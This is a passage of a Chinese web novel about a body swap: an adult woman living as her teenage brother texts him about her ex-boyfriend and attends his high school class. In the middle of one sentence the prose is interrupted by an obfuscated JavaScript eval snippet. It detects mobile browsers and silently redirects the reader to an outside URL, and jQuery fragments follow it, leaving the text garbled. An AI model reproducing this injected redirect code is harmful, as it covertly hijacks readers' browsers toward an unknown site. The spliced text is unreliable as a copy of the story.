同一时刻，上沙村。
沈知窈坐在她弟的床上，对着那面小小的镜子，看那张不属于自己的脸。
她弟的脸。
十七岁，线条还没长开，但已经能看出成年后的轮廓。
眉眼和她很像，但更浓一些，更野一些，像没驯服的动物。
嘴角有一点淤青，是昨晚打架留下的，额头上也有一道细小的疤，也不知道什么时候留下的。
她盯着那张脸，想起下午翻到的东西。
那沓奖状。
那本笔记本。
以及那句被笔尖深深凿进纸里的“如果我变成坏人，别怪我”。
她想起她弟小时候的样子，白白的，笑起来露出两颗虎牙，是个调皮捣蛋的孩子，喜欢跟在她后面跑，跑着跑着就摔了，摔了也不哭，爬起来继续跑。
他喜欢打闹，但她喜欢安静。
她想起她最后一次牵起他的手，是哪一年？大概是他上小学三年级，她上高一。
过马路的时候她下意识牵了他一下，沈渡舟愣了一下，然后用力回握住。
绿灯亮了，她松开攥紧的手，他也没再伸过来。
从那以后，他们好像就没再有肢体接触了。
她不知道从什么时候开始，她弟不再叫她“姐姐”了。一开始是“姐”，再后来是“喂”，最后是叫“你”，或者是什么都不叫。
沈知窈以为是青春期，是叛逆，是正常的疏远。
她不知道他被人堵在厕所里的时候，想叫的是谁。
反正肯定不会是她了，她是个没用的姐姐，当不了谁的救世主。
手机震了。
是那个备注叫“黄毛”的人：“渡哥，你还好吧？要不要兄弟们去看看你？”
她盯着那条消息，想了很久，然后回：“不用。”
手机又震了：“那你好好歇着，有事喊我们。”
她看着那个“我们”，心里涌起一种奇怪的感觉。
这些人，这些她以前看不上的“社会青年”，这些她弟的“狐朋狗友”，此刻正在关心他。
而她，他的亲姐姐，这些年做了什么？
她想打电话给她弟，问问他在那边怎么样，有没有露馅，有没有被人发现。但她拿起手机，又放下了。
她现在是他。
她得学会用他的方式活着。
这何尝不是命运的惩罚。
她站起来，走到窗边，推开窗户。
夜风吹进来，带着楼下烧烤摊的香味和一点凉意，对面楼的窗户亮着灯，有人在炒菜，油烟机的嗡嗡声隔着巷子传过来。
她站在窗前，用她弟的眼睛和视野，看沈渡舟每天看见的风景。
然后她掏出手机，迟疑之下还是给沈渡舟发了条消息：“你那边怎么样？”
过了两分钟，那边回了：“还行，你呢？”
她看着那两个字，“还行”，像极了她平时说话的语气。
她回：“还行。”
然后她站在那里，握着手机，看着屏幕上那两行字，很久没动。
这是他们第一次，像两个正常人一样，问对方“你怎么样”。
手机又震动了一下，是弟弟发来的消息。
沈渡舟：“我今晚看到林嘉文了。”
沈知窈不自觉抓紧了手机，手心都沁出了汗：“他没怎么样吧？没给他欺负吧？”
沈渡舟：“站在你前男友面前的可是我沈渡舟，怎么可能被人欺负。”
沈知窈稍稍松了口气：“说清楚了？”
沈渡舟：“泼了半杯咖啡，算是说明白了。”
沈知窈飞快打下一行字：“他还说了什么没？”
沈渡舟：“林嘉文？他身不正影子歪，能说什么好话，反正我告诉他，男女朋友的关系到此为止了，好聚好散。”
他最后还贴心地附上一张鄙视的表情包。
沈知窈松了口气，还好林嘉文没说什么。
“那个人说的，一句都不要信，离他远点。”
夜风继续吹着。
对面楼的灯一盏一盏灭了。
她还站在那里，看着她弟的窗户，看着她弟的夜。
沈知窈站在校门口，第一次发现自己对“上学”这件事的理解已经过时了。
她记忆中的高中是十一年前的事。那时候的校门口没有那么多奶茶店，没有那么多电动车，没有那么多人拿着手机边走边看。那时候的她也从来不会在校门口踌躇不前——她知道自己的班级在哪，知道自己的座位在哪，知道自己该干什么。
现在她什么都不知道。
校门是那种现代化的电动伸缩门，旁边立着一块电子屏，滚动播放着“今日之星”和“文明班级”的评比结果。门口站着两个值日的学生，戴着红袖章，手里拿着本子，专抓迟到的人。
沈知窈看了眼手机。
七点五十三分。
她弟的学校六点半上早自习，七点四十上早读，她现在迟到了十三分钟。
沈知窈只能硬着头皮往里走。
该死，到底是谁在怀念高中生活？
“同学，等一下。”一个值日的女生拦住了她，“你迟到了，班级姓名？”
沈知窈张了张嘴，报出那个她还没完全适应的名字：“沈渡舟。”
女生低头在本子上写，写了一半，突然抬起头，盯着她的脸看了两秒。
“沈渡舟？”女生的表情变得很微妙，像看见了什么不该看见的东西，“你是沈渡舟？”
沈知窈心里一紧。露馅了？她弟在学校很有名？还是她刚才的语气不对？
“怎么了？”她问，尽量让自己听起来冷淡一点。
女生没回答，只是往后退了一步，给她让出路来，用一种“您请”的手势指了指校园深处。旁边那个男生也往旁边挪了挪，表情和女生如出一辙——震惊中带着点敬畏，敬畏中带着点好奇，好奇中还有点“这人今天是不是吃错药了”的困惑。
沈知窈不明所以，但还是顺着那条让出来的路走了进去。
走出十几步，她隐约听见身后传来压低的对话。
“那是沈渡舟？”
“对啊，就他，跟李恒那几个总掰扯在一起的那个。”
“他刚才跟我说‘怎么了’？他说‘怎么了’？那是人话？”
“嘘，小声点，别让他听见。”
“他今天怎么回事？没骂人？没瞪人？还这么客气？”
“不知道啊，我也吓死了。”
沈知窈脚步顿了顿，然后继续往前走。
她好像明白了一点什么。
她弟在学校的人设，可能和她想象的有点出入。
校园很大，和她上高中的时候还要大。几栋教学楼围成一个四合院的形状，中间是操场，操场上有人在跑步，有人在打球，还有几个人围在角落里不知道在干什么。她转了两圈，没找到高二的楼在哪，最后拦住一个路过的学生。
“请问高二在哪栋楼？”
那学生本来低着头走路，听见声音抬起头，看见她的脸，表情瞬间变得和门口那两个人一模一样。
“……渡、渡哥？”那学生结结巴巴的，“你找我？”
沈知窈愣了一下，才意识到自己问错人了。她不该随便拦人，她弟可能和这个人不熟，甚至可能有过节。
“不是找你，”她说，“我问路。”
“问路？”那学生的表情更诡异了，“你问我……问路？”
“不方便说吗？”
“方便方便！”那学生立刻指向左边那栋楼，“那那那那栋，三楼，高二七班，你你你你，您慢走！”
沈知窈点了点头，说了声“谢谢”，往那边走去。
走出十几步，身后又传来一阵压低的对话：“我靠，沈渡舟跟我说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345249|199519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢谢？”
“他也跟我说了！早上在校门口！”
“他是不是被人打坏了脑子？”
“可能是吧，我听人说昨天他进局子了。”
“进局子能让人变礼貌吗？那我也想去。”
“去你丫的，局子是一般人能进得去的么。”
沈知窈脸红心跳，不自觉加快了脚步。
高二七班在三楼最东边。她走到门口的时候，早读已经快结束了，语文老师正站在讲台上带着学生念课文。她喊了声“报告”，声音不大，但教室里瞬间安静了。
所有人齐刷刷地转过头来。
那场面让沈知窈想起她上大学时，有一次走错教室，推开门发现里面正在考试，几十双眼睛同时看向她。
尴尬，社死，沈知窈想找个地缝钻进去。
还不如回去开组会，还不如给洪德清当牛做马。
不过沈知窈察觉到，这次那些眼睛里的情绪很复杂——有惊讶，有好奇，有幸灾乐祸，还有一点点……期待？
好像在期待什么好戏。
语文老师是个中年女人，戴眼镜，表情严肃。她上下打量了沈知窈一眼，推了推眼镜：“沈渡舟，你今天怎么来了？”
这话问得很有水平。不是“你怎么迟到了”，不是“进来坐下”，而是“你怎么来了”。
好像他来上课是一件值得惊讶的事。
“来上课。”沈知窈说。
教室里响起一阵压抑的笑声。
语文老师也愣了一下，然后说：“进来吧。”
沈知窈走进教室，站在门口，扫了一眼那些空着的座位，她不知道她弟坐哪。
“坐回去啊，站着干嘛？”语文老师说。
沈知窈没动。
教室里又响起一阵笑声。有人小声说：“他是不是不知道座位在哪？”
又有人说：“废话，他一个学期能来几次，记得才怪。”
沈知窈听见了，但没理会。她继续扫视教室，试图从那些课桌上找到一点线索。然后她看见最后一排靠窗的位置，桌上放着一本语文书，书页翻开着，但旁边堆着几本皱巴巴的课本，看起来像是有人坐的样子。
她走过去，坐下。
刚坐下，旁边就传来一个压低的男声：“渡哥，你今天真来啊？”
沈知窈转过头，看见一个瘦小的男生正缩着脖子看她。那男生长得很普通，戴眼镜，脸上有几颗青春痘，眼神里带着一种“我和你不熟但我想和你套近乎”的紧张。
“嗯。”她冷淡回答。
“那那那那个，”男生结结巴巴的，“你作业写了吗？语文作业，要交的。”
作业。
她弟还要写作业？
她弟那种人，居然还有人问他作业写没写？
“没写。”她大大咧咧一摊手。
男生“哦”了一声，缩回去了，但眼神还在偷偷往她这边瞟。
早读在十分钟后结束了。
下课铃一响，教室里瞬间热闹起来。有人冲出教室去上厕所，有人趴在桌上补觉，有人聚在一起聊天。
但沈知窈注意到，有一个微妙的真空地带正以她为中心慢慢形成——没有人走过来，没有人跟她说话，但所有人的目光都时不时地往她这边飘。
好像她是什么珍稀动物，只可远观，不可亵玩。
她乐得清静，低下头，翻看她弟的课本。
语文书。翻开来，第一页是空白的，第二页也是空白的，翻到第十几页，终于看见一行字——不是笔记，是涂鸦，画了一个小人，小人被人用剑刺穿了，旁边写着“去死吧”。
她翻到下一页，又一个涂鸦，这回是一个猪头，猪头下面写着三个名字，用红笔圈起来，打了一个大大的叉。
艰难辨认出沈渡舟的狗爬鸡抓式字体。
她盯着那个名字，皱着眉，在心里默念了一遍。